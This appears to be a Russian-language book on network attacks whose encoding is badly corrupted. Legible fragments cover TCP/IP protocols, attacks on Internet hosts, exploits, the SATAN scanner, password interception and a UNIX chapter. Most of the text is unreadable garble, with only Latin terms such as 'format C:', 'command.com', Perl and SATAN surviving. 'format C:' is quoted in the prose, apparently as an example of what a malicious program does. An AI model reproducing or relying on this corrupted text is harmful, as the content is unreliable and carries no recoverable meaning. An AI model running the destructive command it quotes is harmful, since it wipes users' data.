ந室饥 ⮫쪮   ,  ⠥ ਭ 㯫.  ᮦ,  ⢥ ᫥⢨ <஢ 襭> - ⤠騩  "format C: "  ,  墠⠥    ⠪㥬 設,   ⫨ ।⠢ ᥡ . 㤠   ᮡ, ࠤ?
諥 筮  ᢮ ⢨ ⠪: < ᠭ ୮ , 㦭     ᮡ⢥ ᭮>.   ୮  㤠, ࠣ ண  ⢮  ⢮. 稢 ⢮ ᥡ ,  ࠧ, ᮧ ०ࠬ  ন ୠ⠬, ।⠢ ஢ ।⥫ ﬨ.
짮⥫,    ࠬ  뫨, 㤨 ୮ ॠ  ⪨ ਮ    , ࠧ  ᯮ -  ,  - ࢠ  堪,     ண.
᭮,     ᥡ ⠪ 堪, ।  ⥪  ⢥ ॢ室 ।⢠   䥭⠫ (   த  ࣥ [34]).      ஭? ⨢, , 稢訩 । 誮,      ୥襣 .   堪  ࠦ,  娬  㦭,   ⠫. ⥪ ,  㦭   樥⠬!
   ਢ ⢮.     㤥ঠ  ⨦ ᮢ६ 樢樨. ⮬-   ७樠  ᨨ - ᯥ樠⮢  㧪 .
 窠   ন ஬     ⠪  㬥,    設, ⮫쪮 ⥫쭮 ᫮   ⥫쭮 ਧ. ,   祬   ᫠ ॠ樨 ⮪ TCP/IP  BSD UNIX,    孮 뢠 ⥪  Windows NT, 筮  ணࠬ 祣    㬥⮮. ஢  ᢮ 㬥   㦮   㯮  ᯮ,  ࠢ  ,    ஬, <,   設  ࠡ⠥!>.  - 祬   ࠡ祬 ?   ࠥ?  ⥯ ᪠ ,  , -! ,  ᮦ, ࠬ ᯥ樠⮢  ⮩   祬 筮,   室 ਭ  ࠡ  . ७०⥫쭮 ⭮襭  ᯥ樠⠬ - ᫥⢨  業. 宫᪨ ଠ 祫  祭 ᠬ ᭥ . ⨢,  ⮢ । ᢮ ,  ᮢ, 㪠  ⪨ .
ᨮ쭮 ࠧ⨥  設⢥ 砥   ᮡ  ୮ ᯨ⠭. ⨢, 뢮, 孮  ।  ன 뢠 ⢮ म  ᠬ⮨⢠. ⥭    ਢ   㡮  ਠ. ⥫ :   㦥  ᥬ ࠧࠥ,  㬥,  ,  ஬ ⠫  ⢥ .  ࠢ ࠧ뢠    ᪨ , ࠢ ⢮ ᥡ 㬭, ᯮᮡ, ⠫⫨. 筮, , ⮡  㦠騥    㢠. < ᥩ   த㥬:    ᥣ ᤥ? 筮 , ᫮ - !>
: ⠪  ⠫⫨ ୨ 뢠  ⪮ [35],  ᥡ . 誮 ᮪ 뢠 業 饭 ᮡ⢥ ⠫⮢ 㦠騬,   ࠢ  ⠭ 㪮᪠, ࠧ  :
᫥  ᯮ짮 ᢮ 孨᪨   모   ࠧઠ  ᭥ ⭮襭       ᢮ ਠ쭮   ᭨  ࠡ⮤⥫ﬨ. <஢,  > - ⮧   ⮬  騪 稪 ᪮.
⥫  । ⥫   蠣,  饬 ᯮᮡ 㡨  . , ⠪ - ,   㬭 㢫⥫쭮  ᭮,   設⢠ 㦠 - ਥ. ⮨  ࠧ 㬠, ० 祬   ᥡ 堪஬.    ࠧ ᫥ 㬠, ० 祬  ந ⠪.  ⮫쪮 ,   Internet ⠪  .  ᠬ   ⢨ ⠢ ᢮ ᫥,   㤭  諥. 筮,  ஬ ⢮  Proxy-ࢥ஢, 믮    ᢮ , : 묨  ⮫쪮 .  ᠬ  ,    ।  뢠 IP   ⮢. 㣨  । IP    .    <> 室  [36], 㪠뢠  뫠 ᮢ襭 ⠪.
࠭஢ ᯥ ᢮    -  孨᪨ ⢨ ,  饬-, ਢ쭮.    ਫ,    ஭   ࠭ . , ⢮ ᮡ⢥ ᭮  ⮫쪮 ⢮,    ࠭.  ।⠢ ⨭ ࠭祭   诨᪨ ।,  ᫥  㣮   㣮.
ᮢ  娭樨    ॡ  ᢮  ᫥  ᫥ 諥 - ࠭    ᠬ ਤ  죠.  壠 ன ⨢ ᯮ < ॢ>.  ⮬ ,  ᥬ 㯫  來 ᪨ ਠ,  ᫮  奬 娭権 祭 ࠭祭. , ਬ,   砥 諥 ॢ  㬬  ᮡ⢥ । ,    ⮣ ६ 㯠 ᪫⥫쭮 ࠡ⭠ . ⭨  ᮢ  ⠫ ᭨ 㤠  㯨 죨:  ⠪ 䠪 襭⢠  .
,  砩 饭 ।⢮   襬   ॣ஢  1979 .  ணࠬ   ॢ  ᢮  78 584 㡫, , ⠪   ᯥ  ᯮ짮, 㣮  .
 ࠧ 稫  㬥   , ⨢襣  <-> 10  700  952  ,    ⮢   - 䬠, ᯮ짮襣 ணࠬ PC Authorise,   ன  㯠   த ୮  <Virtualynx Internet>.
,  ⮨ ᯮ짮 祭  ⨢ ᥡ ᠬ. ,    ᯥ譮 梥  ᪨ 堪.      㢥७  ᮡ⢥ :
 ⮩     ࠣ ࠫ ஭  뢠 ⠪.  ࠫ -  ⮫쪮 ꥪ⨢ (  ।⮥) ।㡥 ⢠  ⤥  ।⠢⥫, ﭭ 騥  祭 ६: 롮   ᯮ廊 ௭묨 ﬨ -     - ⠥  ⥫ [37].
   ? 类 쭮   -᢮.  , 祭,   ⢥,  મ ,  ⢮ - ,     .    -   ,   嫥࣮  - .  ࠡ  -    ⮪ 宧鶴,  ६᫥ -  ⮢騪.     , ⨢ ண  ?
 祫  ᯮᮡ 㬥  ⢮  .   ᪮쪮  ᢮ ᮡ⢥ ,  ᥣ   襭  㣨>
㤭  ,  㣠檨








 ⠪ Internet? (  稭)


O  ⮩ 
O ⥪ Internet
O ॢ ⮪
O   Internet
O 祭 ⮢



  Internet



 窨 ७ 짮⥫, Internet, - ० ᥣ ᮢ㯭 ࢥ஢  ⥢ ᮢ.    誠 ᡥ࣠.   㤨⥫쭮, , ࠢ  ப 㧥 <www.nasa.gov>, 짮⥫    ࠭ ࢥ NASA,   ᡨ     楯窥 ⨧஢, ࠭஢  뢠   宧⢮ ?
㤭 ,  - ⮬᪮ ⨧樨   ⢮, - ࠢ⥫ ᮮ饭 室 ঠ  ᥡ    楯 ࢥ஢, 뢠   ⥫. , ᫨  訡  , ᮮ饭 﫮  ண.
ᯥ Internet   㭨쭮 ( ⥬ ६) ᯮᮡ ᠬ⥫쭮   ⨧樨 ᮮ饭.  -  襥 ᪠ , ᮥ饣 ⢮ ஢  㡪.   ࣠,  騬 楬,   ࠧ⢫ ࢭ ⥬, 뢠饩   業.    㣮 ࣠,  থ  (ᡮ), ⨢   魠 㭭 ⥬, ࠭ ࠡᯮᮡ Internet  ᫥ ࠧ襭 設⢠ 㧫.
 뫪 । ᮮ饭   襭 ଠ쭮 㭪樮஢    ᠭ樮஢   ଠ樮 ᠬ.
 ⮩   㤥  ᪫⥫쭮  ணࠬ ⠪ [38],  祬- த ᠭ  <孨  䨫䨨 堪᪨ ⠪>.   饩 宦  ਭ樯 ⫨.
ணࠬ, ⠭ ।⢥  ᮡ⢥ ,  ᥬ஢ (     筮  ॠ樨)  ⫠ (஫஢  믮).    㬥⮢ - ᥬ  ⫠稪,  ᫨ ᢮ ⢮   ᫥⥫ ணࠬ.   ⥢ ⠪  ᯮ.  饭 ਫ ᯮ - ⠬,   ࢥ  㯥  祭  䨪樨.
    ⥬ 梨. 짮⥫    ࢥ஬ ᮮ饭ﬨ 祬- 騬   ᮫ ਫ, ⠪, ਬ,  <command.com>.  ⮩ 窨 ७   ⢥ ࠧ稩  ணࠬ, 饭묨  㤠   쭮 設,  ᪫祭  ।⢥  ( ஫஢) ࠡ ࢥ ਫ.
᫥ ᪠ ⠭ ⭮, 祬   ⥢ ?  祬 梨 ࢥ, 饣 ஫?  ᪫祭 ⮪ 㣠뢠  ॡ    室  ਠ.  ஫  ᮬ ஢ન 筮 ஫ 蠥 騪  蠭ᮢ ஭  ⥬.
 㯭  룫廊 ⮫쪮  㬠.  ᥣ  諥      ⥬, ᪠   <> [39] ࠢ.  ࠧ   ⮫쪮  ஭  ⥬,   襭 ᮡ⢥  - ᮢᥬ     !
ਬ, ᪨  ᫥ : ࢥ ࠭ ஫ 짮⥫ ( ⮬ ᫥  )   ஢ 䠩,   १ ன ணࠬ 訡  㯥 ᥬ 짮⥫  ᪫祭.  奬  ࠧ 䨪  뢠 ᭮ 稭 ᯥ譮 ⥢ ⠪. 諥  饤㯭 , 騩     ⥬ .
,   ⢥ ਠ. 㣮,  諥 ਥ 砥  ⠪  譨, 饭 (  饭)  . , ਬ,  㯠  ஭ ᯮ樨   易⥫쭮 ⠪  饭 騪 ,  筮   ਥ    ᫥ ᫠ 饭 ࠭ ࢥ஢, ࠡ뢠 .
,  <> ⢥ ᢮ , 騬 ( ᭮ ⥫쭮) ᡮ஬   ஫.         筮 ᢮ ? 筮  ४ ⨯ < 200   ࠭  . ᯫ⭮   ஢.  ᠬ ஬ >. 짮⥫  ⠢ ᥡ    㯨 ࢥ 諥, ன ।⠢  祭 業 㬥 [40].
    (  㣨) ⠪,  ⥫쭮 ᬮ७  ࠧ࠭.    , 祬  ⥢ ⠪. 㡮 , ⮬   ।⠢ ᮡ ᮢ㯭  ⮢,  ।      㣠.
   ஭ 諥  ᢮ ⥬? <祭 > - ᮧ ⨢稢 ⥬ .  ᠬ   .    ,  饨,  冷 㬥஢ 㭪権,      ᯮᮡ  ଠ ࠡ .
⮬,   ண 業 ⥯ 饭  ᭮ ⥬.    ஢  梨: ਡ  堪᪨ ⠪, 筥   樨. ᫨   襫  ᯥ, ।     諥.
 ஡  ⢨   襢 ᯥ⮢. 設 ௮⨢  ᯥ祭 ᮡ⢥ ᭮   㤠 ஦ ⪮ 堪᪮ ⠪.
᪨,  ⢨ ᯥ,  ஫  믮 ⥬ .  墠      ?  ⠪ 樨     祭 .
। ⥫ 猪   堪, 騥  ᢮    ᮢ ᢮    ⠪. ⥫  ⬥,   类 ᠭ樮஢ ஭  饭 ⥬   ᮡ 襭 .    ⮣,  ਭ  ⥬,   ࠢ  襭묨. , ਬ, ⠪ ᮡ⢥ ࢥ    [41]
   砥, ० 祬 ࠢ  , ॡ  ன⢮  ᭮ ⮢  Internet  堭  ⢨   㣮.    .   ஬⨪ - ⮬⥫ ᠭ ⠭⮢  ⮪.  ᮦ,  ⠯    ⠤ 祭.   墠뢠騩 ⥪⨢,  㬥 ᪫뢠 㪢.







ꥫ  - ᯠ ॢ!
த 䮫쪫




⮪  ।⢮ 饭



ᯥ 䨧   ࠬ - ⮫쪮  ஡.   㤭 ᮧ ணࠬ ᯥ祭, ࠡ饥  ⠪ ⪨ ᫮. ஫ 楫⭮ ᮮ饭  ᯥ譮  ⠢, ᮣᮢ ࠧ 樮 ⥬ -     祭 ॡ, ।塞  ⥢ ਫ.
㬥, ⢮ ⢮ ࠧ 襭, ᬥ  㣠  祭 ६. ࠪ뢠  , 﫨 㣨.  祩   - ࢥୠ ⥪.   砥  ᫥饬:    ஢ ⠭ ᯥ樠쭮 ணࠬ ᯥ祭, 뢠 ࢥ,   ⢥ ஢, 祭   - ᪨ [42].  뫠 ,  ࢥ  ⢥   襭   ᮮ饭  訡.
祢,   ࢥ  ਤন  ᮣ襭, 묨 ᫮ ଠ  ᢮ 饭.   ᠬ ᮣ襭  뢠 ⮪.
ਬ஬ ⮪      "command.com".    짮⥫  ࠢ 䠩   ᢮ . ᫨  ਬ   奬  ⢨  㤠 ࢥ஬  室   ⮪ 堭 ⠭  ࠢ .
 ᬥ訢 ࠧ 㯯     ࠪ筮. ⮬    ࠧ Internet  訫 ࠧ  ⤥ 㯯,  ᨬ  蠥 .   ᥬ⢠ ⮪ - ⢮ 몮,   ᢮ 㧪 ᯥ樠樥,  ᮢ㯭 ᯥ稢   ᯥॡ .
祬   祣    ⢮ 㣮, -  ᯥ稢   ᨬ.  ᠬ ,  祭 䠩  ࢥ 筮 ⤠  "< > (< >)", ᮢ襭  ,   祬 뫮 ᮧ ᮥ   ࠬ, - 筮  ,     .
 ⠪ 砥 ,   ⮪ ॠ  㣮.  뤥    ஢ -  ⮪, ⢥騩  ⠭ ᮥ,  㣮 -  ।  짮⥫  .
ਬ砭:   ୮ ਥ ਡ  ,   ⥫ ன   - ᫨ ⮪ ᥣ  , ,     ᯥ稢 ᮥ? 㬥, .   ᠬ  ᯥ稢 ணࠬ ᯥ祭, ॠ饥 ⮪  ஢.         ஫  ঠ 裡.
  室  ⮪?  㦥 ᠭ ⪨ ⮢ ਫ,  ॡ 짮⥫ 祣, ஬  .  ।  ᯮ   ⮪,    ⮪,    , 㢠饬 ᥡ, 몥,    ⠭ ,  饥 ⢮ 㭪権, 易⥫  ॠ樨,   ࢥ  ࢥ.
 뫮  ,  ᪨ ਫ 㬥 ন ⠭ .     ⠭⭮, ன 쬠 㤮 奬.
 ⮪ - ० ᥣ , 㦤騩  饭 - ࠦ ᢮ ᫥  ॡ⥩  㭨쭮 ଥ, 饩  ⭮ 樨. ஬ ⮣, 訩 ᯮᮡ ,  ஥  㭪樮  -      몥.
祬, ᫨ ஢,    ⥢ 몠  .  業 饭 ॡ    ⮪ 몮,   ⮪, ᫥ 祣  ࠢ  㤥  ᥡ ⮬.
, 筥:





 宦  ,    㦮 ࠭,     몠;   ᪠  ४, 㡮 ᫥,   祭 ந  ⠬ ࠧ  ࠧ୨.    த   ᭥ 㣮,  ᪠    ࠧ  <誠 襣 ᠤ 뫠  ᢮ ⨪>.
. 




 -  ଠ樨



 ᭮ 몠  ᫮.    㪢. 㪢 -  㪮. 楩 ⥢ ᮮ饭  . 祬  ?    ᫨誮 ⥫ 襭:  ࠢ塞  諮  ᭠ , ᮤঠ騬,  ,  ⥫  ࠢ⥫. ⥢ ᮮ饭,  , 祬  ⫨砥  筮 쬠. ࠭ 㧫    ।   楯窥  , , ,     ⥫ (  ,  ࠢ⥫).
 ࠧ,  ⮨  ,    ࠢ 뢠 ⥪ ᠬ ᮮ饭.  ࠧ ⥫  ᮮ饭  . 祬,  襬 ᬮ७   뢠  ᫮.  㦥 뫮 ᪠   <⮪  ।⢮ 饭>,  ⠭ 裡 室 ਡ  㣠 ⢠ ⮪,    祣     ⠫.
⮬  ⮪   ﭨ ஢  , ᮢ 㣮 ⮪.   窨 ७  ।⠢ ᮡ  ⭮ ଠ.  ਪ   ᢮   ।  । ⮪   ஢. ,   ।, ᮮ饭     <⠥> 㦥묨 묨.
 筮 ந室  . ࠢ⥫  쬮  㪫뢠   . ⠫쮭  쬠   ᠬ 祭  뢠   訥 誨,  ᮡ  㧫 裡     㪫뢠  ஬ ⥩.   ⥫ ⥪  . ⮪  ஢  , ᢥ  (   ᮢ     ०  ⠢),   砥 ⥫쭮 १,   ᮤন  । <>.
। ⮪  ᮪ ஢ த뢠   , , ,  ⮯ ⮢  믠 室 ᮮ饭.     ࠡ⠭ ਪ ணࠬ ᯥ祭,   ॢ騬  ⮬,    諮 ᮮ饭  ᪮쪮 ॢ饭  諮 .
᪮ 樨   ⮢  ਢ  訡  ᡮ  ࠡ⪥ ⥢ ᮮ饭, 設⢮ 樮 ⥬  ࠧ蠥 ।⢥ 㯠   ,  ।⠢   ନ஢ ⢮ ᮪஢ 㭪権 API [43],  ᪠  ४ 祭.
᪨ ⥢ ணࠬ ᯥ祭   ⮢   ᪠ .  ᠬ 襬 砥,    ०,    㭨⮦  ࠢ .
 ᮦ,  १ 訡 ॠ樨 뢠  ⢮  㧫 , ᮡ묨 ᪠ﬨ . ਬ, <訢> .
  ⨬  ⠭ ⥢ 䨫஢, ⥫쭮 ஢   .  쭥襬  ⮬ 㤥 ᪠ ஡.
  쭠  ଠ樨, ன ⮪    㣮.  ⮨   ()  ᮮ饭 ().   ⭮ 뢠     㣠,   室   ⭮ ஡,  ᪫  ⥫.
᫨   ࠢ ⮣ ᢮ , ⮢       ᠬ ࠢ⥫  ⥫, ⥬ ᮮ饭, ⮩ ࠢ  ⠪   । ନ஢   ஢ .  ⮪, ⢥⢥  । ,     ᢮     ஬   .  ⠪ ⥬    ஢  ࠡ! ⮬  让  ஡  ⢮ , ६訢   ⢨   㣨.   ⥫ 祭 ࠣ  ᮡ  室 ,  ண ਪ ⮪  ᮤন ᮮ饭.
,  㦤 ⮪ TCP/IP 孨᪨ ࠢ쭮 㯮ॡ ନ ⠣ࠬ,  ᫮ . ⠣ࠬ ।⠢ ᮡ  ,  ன ࠡ ⮪ TCP/IP.  ନ  ਭ 㯮ॡ  ᠭ 䨧᪮ ஢ । ᮮ饭. ⠣ࠬ 㯠뢠  , 祬  易⥫쭮  . , ਬ,  । ⠣ࠬ  X.25      . 祬,  ᪮ ࠧ稥 筮 ⥫쭮   室    <>, ࠧ㬥 <⠣ࠬ>.



ॢ ⮪



० 祬 த ⢮  ⮪, 室 ᬮ   室   ⠭ ᮥ.
  ।   ⨧ - 롮 ,  ஬ 㤥 ࠢ .  ⥫  室   㣮 ⨭ (   ᬮ!), ᮥ  ࠢ⥫ ⢮ ⥩,    -   ६   ࠡᯮᮡ,  ⮣ ਤ ࠢ  <ꥧ> ⥬.
 ० 祬 ࠢ   ⢨,  㡥,   ࠧ  ࠫ  ᢮ ࠡ⪮.   ⠣ࠬ  ⢮ ⮢ [44] 䨪஢ ࠧ 뢠 ࠣ樥,  ⨢ ⮬  - ᡮમ.
祢, ࠣ   ᮡ 室 ஫ 楫⭮ ⠣ࠬ (   뫨 ⠢)  稥 堭 ᮢ  ୮ 뫪 ⮢.
    訡  ᡮ ଠ樨  ࠡ  室 ⤥ ᯥ樠஢ 堭, 騩 室    ⮬᪨ ࠭ 襭 ࠡᯮᮡ 㧫 .
祭  ᯥ 饭 ᮥ,   砩 訡, ⠪  ।७ ⠪.    ⭥ ஡ ࠧ    ᪮쪨 ६ ࠡ騬 ਫﬨ.
 ࠧ,  ⨥ 㠫쭮 , ᯥ稢饣 ஧    ਫﬨ, 饭  ﭨ  ⠫ ਫ. ਬ, 짮⥫  ६ ஢ ,  ,  ⥬ ६,  ﬨ  ICQ.  ⮬  ਫ   蠥 㣨 (ࠧ  ᭨  ᪮).
 ᫥ 樨  ࠧ  ᪮쪮 㯯,    㤥 ॠ ᢮ ⮪. 祢,  ⮬  ⮪    㣨. , ਬ,  প 㠫쭮  室 稥 ⮩稢 裡  㧫.
⮬, ⮪  ꥤ  ᥬ⢠  ᨬ  㣠 蠥  .  ᠬ ᥬ⢠  易묨  ᮡ ⮩ ᪮ ᨬ.
  室 ⠪ 뢠 ⥢ ஢.  Internet  ॠ  ⮪ IP (Internet Protocol)  ICMP (Internet Control Message Packet).
⮪ IP   ᥡ   ⨧樨, ࠣ樨  ᡮથ ⮢   ⥫. ᪨ IP 믮  ୮ ࠡ  ⠭ ᮥ.
 ⮬  ஢ ⭮  ICMP ⮪, ᯮ騩  । ᮮ饭  訡  ᡮ ଠ樨  ࠡ .   ᭮ ࠡ ⠪ ⨫,  Ping  TraceRoute, ਬ  ⨪ .
࠭ᯮ ஢ ॠ  ⥢.  砥,   ᢮ 㦤  ᯮ १ ࠡ ⮪  ஢.  Internet  ॠ  ⮪ TCP (Transmission Control Protocol)  UDP (User Datagram Protocol).   ࠭ᯮ ⮪ 室 ᯥ祭   ⮢୮ ⠢  १ .   ⭮ 堭 ⠭, ঠ  㯮冷稢   ᮥ; 㦥  ࠭ ࠢ⥩ ।.
 TCP  UDP ⮪ 㭪樮 -ࠧ.   TCP ᮧ 㠫  裡, ࠭ ⮢୮   ᮮ饭, UDP ࠡ⠥  ⠭ ᮥ,  ᥣ  ஢ ஫ 㬬 ਭ ⠣ࠬ.
 ,  UDP <宩> ⮪. 筮  ⠪  , ⮬  饬 設⢥ 砥 ᯮ  㠫  裡, ᮧ TCP.
 UDP 뢠 ⭮ ॥ TCP, ᪮  ॡ  室  ঠ ᮥ.  ᯮ,  室  ⥫쭮 ࢨ ࠭ᯮ⭮ ஢ ,  ⮢୮ ।  ॡ.    ⭮, ॠ ⮪ 饭  DNS (Domain Name Space).   <⠪  DNS ࢥ> [45] 㤥   ᯮ짮  䠪  ⠪  楫 墠 䨪.
, ਪ ஢ ᯥ稢 ᮪஢ 䥩  ⥢묨 ਫﬨ.  ⭮ ⢮ ⮪ ࠡ  ⮩ (POP3, SMTP, IMAP), ⥢묨 ﬨ (NNTP), 䠩 (FTP)  ⠪ .
筮,  祭 㡠 奬,  饭 ।⠢  㭪樮஢ Internet     .  쭥襬   ⮪ 㤥 ᬮ७   ஡.



 ⠪ ?



稭 ஡ ⢮  ⮪   㯮 ⮢. 祬, ⥫ 猪 ⠫  ⨬ ⨥  ࠭.  ᮦ, ࠭ 祡 짮⥫  Internet ⮫쪮  㬠  ⮬ .
᪨  -뢮    ⨢ .  ,  筮    Internet?  ᠬ  ,  ⥢ 窨 ७  -   祬      ( ⢨⥫쭮    -  ࠢ⥫   ⥫).
 㦭  ⥬, ⮡ 筨    ਫ,  , ⠭  㤠 ,   ⠭ .   ਫ <९>  ᮡ   ᪮쪮 ⮢  砥  室饥 ,    யᠭ   祭. ,    ࠥ, 㭨⮦,  ࠢ⥫ 頥 ᮮ饭  訡 ( ⮬ 砥  ࣮ ,  < >).
 奬 ᯥ稢 ᮢ ࠡ ⢠ ਫ, ⠪, ਬ,    ⮬  , 騬 ᥣ  IP ,   ⠭ ⮢ ࢥ, ࢥ ⥩, WEB-ࢥ, FTP-ࢥ.   䫨⮢  ࠧப < 祩 ?>    㤥.
祢,  ਫ-ࠢ⥫  ਫ-⥫  ᯮ짮 騥 ᮣ襭.  뫮 ਤ㬠 ⢮ 堭, ᯥ稢 ᨭ஭ ⮢ ࠢ⥫  ⥫,  ᠬ   ९   ⮪ । , ⠢ ࠧࠡ稪 ணࠬ ᯥ祭 ਤন ⮣ ⠭.
筠 樠 -⮪ ਢ  ⮬,    ନ ⠫ ⥭쪮 . ࠧ <令  ࢥ஬   ⮬ > - ࠧ㬥 <令  ࢥ஬  ⮪ POP3>.  ᠬ , ⮢ ࢥ   ஥   㣮 , 祭 ண - ࠧ 㤥 ᮮ饭 .
 , ଠ ।    易  祭   . 롮      ⮪ ਪ ஢.   ⮫쪮 16 ⭮ ᫮   TCP .








  Internet (  ᠬ 稭)



  ,   祬-  ᨤ
த 

<  Internet> -  㪢쭮   ७, אַ  ᢥ 易  , 㭨ﬨ  ﬨ.  孨᪨ ࠬ⥭,  ᫨   ,   Internet (ᮢ㯭 㧫, 易   㣮),    ᠭ樮஢ 㯠.   ᨫ쭮   㧫  㧫, ⮬  㭨ᠫ쭮 ᯮᮡ  <ᥣ Internet>  .      -  㧫  ⨯ ⠪, ࠡ뢠  饬 設⢥ 砥.
 㦥   몠 ࠧࠡ稪  ( ࠬ) - ⮨ ⮫쪮  㧭  . ⮬,  ,   饤㯭 ணࠬ ॠ  ᥫ ⠪  ६ ᬮ ⠢ 㠫쭮. 祬, ⢮  ⠪ ,  몠  ࠧ (,  ਬ, 訡  ॠ樨 NPFS, ᠭ   <⠪  Windows NT>)  ⥬ , ᯫ  冷  ,  騥 直 ⪨  堫⭮ ⭮騥  ᮡ⢥ ᭮.
   ਭ樯쭮  ⥢ ⠪,     ⥪ ⢮  㭨ᠫ쭮 騪.  , ⥪  !   ⮬⨧஢ ।⢠  ᪠ 梨, ਬ,   SATAN (    㤥 㯮).
⢮- ,  ,  ,   ப  ,    ⭮ 祣.  SATAN ᢮ 㯥   [46],   ५     ਮ  ᮢ襭 ᯮ -   ᨫ ᢮ ᮢ ࠭. ,   ,  ⪭ ⮫쪮 ᠬ 堭 .
 ⢨⥫쭮 騥 ।⢠ ࠭  ᪮ ᭮   ,    ⪨  ஢.  ⢨⥫쭮  ⮬᪨ ⠪  ୮ 饭 ,  ᮢ襭 㯭 冷 諥.
,  ஬ 뢠 <騪 Internet>, ।⠢ ᮡ  ,   ணࠬ,  襬 砥 뢮  ࠭ ⥫᪮ ᫠,   襬 㭨⮦ ଠ  ⪮ ᪠.
  ⮨  <騪 Internet> c, ⠪ 뢠묨, ᯫ⠬ - ணࠬ묨 ॠﬨ   ᪮쪨  ⠪.  ⢨⥫쭮   , 砥, ࠡ. :  த⥫쭮 ६  ॢ: ન ,      ⠭ ࢥ ⠭  㤭  㤭.
祬,  ન 㦨    ஭ ॣ୮,   ⮪    . (⢥, ணࠬ ᯥ祭 ﭭ ᫮      訡 ⠭    ). ⮬,    ६  㧥  ⥭樠쭮 梨.
,   ⮢ ᯫ⮢, ᪠ 梨 ᠬ⥫쭮. ⢥,   ⮩   饭 ⮬,   ᤥ.  ।,  ६  ﭭ ᮥ  Internet  ⥫ 㦥 .
"⠪  Internet"  砥 <⠪  ஢>.  ,   ⠪ 뫮  ( 孨᪨ ⥬ ⢨    㤭⥫쭮),   ஡  ᮢᥬ  㣮 ,  ࠣ  饩 .
 ᥣ   ᯮᮡ ⠪ - 饭 ஫  쭮 짮⥫  墠 ᨨ ⥭䨪樨. 饭 ஫ -  ⢮᪨.     㦡 孨᪮ প  ॡ ஫  ,  ᫠ 짮⥫  ணࠬ,  㬮 ᪨ ஫   ,  : 稢  祭      㦤 祣  ⮨. த ࠧ   -   -     㯨   Internet. ,  ⥢ ⠪     ⭮襭,    襯᫥ ᯮᮡ.
墠 ᥠ ⥭䨪樨 짮⥫  ࢥ ஢ -   饭 ஫,   ਬ 孨᪨ ।.   <⠪  Windows 95  Windows 98> ⠪ ᯮᮡ ஡ ᬮ७.   冷 諥  ।⠢ ᪮॥ ᪨ :  쭮  Ethernet 㦨  墠 ,   ஡-,   ⥫䮭  裡  짮⥫  ஢஬! ,     䨪  ,   ᯥ樠쭮 㤮,  ॢ饥  ⮨ <ᠬ 訩 Internet>.
ᥬ 㣮 , ᫨    ६   Internet. ᫨ ஢ ࠭   ஫ 짮⥫  ࢥ, 㯭 १ Internet (   䠪,  ⠪ 㤥 ᥣ),   ⠪     業ਥ, ᠭ  饩 .
    㭨ᠫ쭮 ⮤ .   砩  ᬠਢ 㠫쭮   㤨⥫쭮, ᫨ ,   ⠪- ஢     ஫  .   砥,  梨 -  , ய⫨  ॡ饥 ।   몮 ( ⨢ 砥 ⮤筮 ॡ   ᯫ⮢).
। ஢ 諥 ࠭ ᫥ ⮤: ௥  ᢥ ᯫ,   ⠪  ஢, ⭥ ᥣ,   ᯥ襣   ॠ஢.  祭 । 㤠 ᤥ  襥, 祬  ࢥ.
  㤥襢 ⥢  ( 拉 砥 ⮨ 筮 ६   ᬥ譮 ) 頥 㬥 㠫쭮 ஡ < Internet>, ᪮ ᪮ (  ᪮)   ᯮ짮  ᯫ⭮  ࠪ᪨ ᯫ⭮.





- ᬮ, 誠,  ஦! - ᪠ 誨 稪, 㪠뢠 楬   誨. -    ॢ,  ஡ - ,  ࠤ!
 ᨫ쥢  < >









UNIX


O  ⮩ :
O    樨 UNIX
O 孨 ᪠ UNIX ਫ  Windows
O 訥   ਥ ࠡ  UNIX
O  - ன⢮, 祭, ᯮ짮  ⠪
O ⨥ -뢮
O ७ࠢ -뢮
O ᯮ짮 ७ࠢ -뢮  ⠪
O  Perl - ⪠ , , ᯮ짮  ⠪
O  믮 ணࠬ
O ⠪  UNIX
O ⥪ ⥬ ᭮ UNIX



  UNIX








"    த⮢ ફ - LSD  Unix.   㬠,   ᮢ"




< 1943 .  ਨ 袥᪮ ଠ楢᪮  "" 뫮 祭 ⢮,  ⭨   ࠧ  ⨢, 祬 ᨫ模  ᪠ (Hoffmann ., Stoll ., 1943).     ᮬ,  梥⮬,  宬,  ⮦  ⢠ ᯮᮡ 맢 樭樨,  ᭮ ⥫:  ⢮, ⠢襥    LSD:>
   - 㬠,   ફ [47]     筮 ⠪ ⭮襭,  UNIX  LSD,   ⭮襭 ண ⢥ত  ࠢ: UNIX ( ⮬ ,  ஬  ⥭ ᥩ)    㭨 ફ, ⠢  ୮  ணࠬ⮢,   ,  ᨫﬨ  Microsoft 樮 ⥬ Windows 9x  Windows NT ࠪ᪨   ᭨   ࠡ ⠭権  쥧 㫨 ९ UNIX  쭮 ࢥ୮ .
  ᥣ  Internet  ஬ ⢮ ࢥ஢, 室  ࠢ ࠧ  樮 ⥬ UNIIX,  ⭮, ⮡ Windows NT  ਬ 饬 ᬮ    .
 ⫨稥  Windows NT, UNIX - ࠢ⥫쭮   ⮬ 筮 ⠡쭠 樮 ⥬, ⭮⥫쭮 ਢ।  䨣樨 .    ஬ ⢮ ᯫ⭮ ணࠬ ᯥ祭, ᮧ  ࠬ ஥ GNU [48].  㣫㡫  ਤ᪨ ⮭ 筮 : 짮⥫  室 ⥪⮢ ।⠢ ࠢ  ணࠬ.  , ᪠砢 ᯫ   Internet,      த,   룮.  Windows, ⭮,   ,  ⢮ UNIX-ਫ ࠭  ⠪ ࠧ.
⮬, 室 뢠, - ࢥ୮ ணࠬ ᯥ祭    . ⢮ ࢥ஢ ࠡ,   ࠡ  樮 ⥬, ⠭  ⮪  . । WEB-ࢥ஢  ⥫ 뢮  ७⮢  Apache, ࠡ騩  ࠢ UNIX;  ⢥ ⮢ ࢥ஢  ᥣ ᯮ SendMail,     ७ᥭ   Windows, ᫮, ⠪  , - UNIX ,   ⨬ 室 .    UNIX,    䠭 ਢথ楬,   㡮  堭 㭪樮஢  㬥 ࠡ   室.
筮,     易⥫쭮 ⠭ UNIX  ᢮ 設 [49]. 筮 ᯮ짮  ஬ UNIX (  UNIX ᪠뢠   < ᪠ UNIX ਫ - Windows>). 㬥,    ⮫쪮  譥 樨,   ᮧ ।,  筮 饩  ⥬ 맮 UNIX.   ஢, ⫠    । ᪠   ࢥ ਫ,  室  樮 ⥬ Windows.
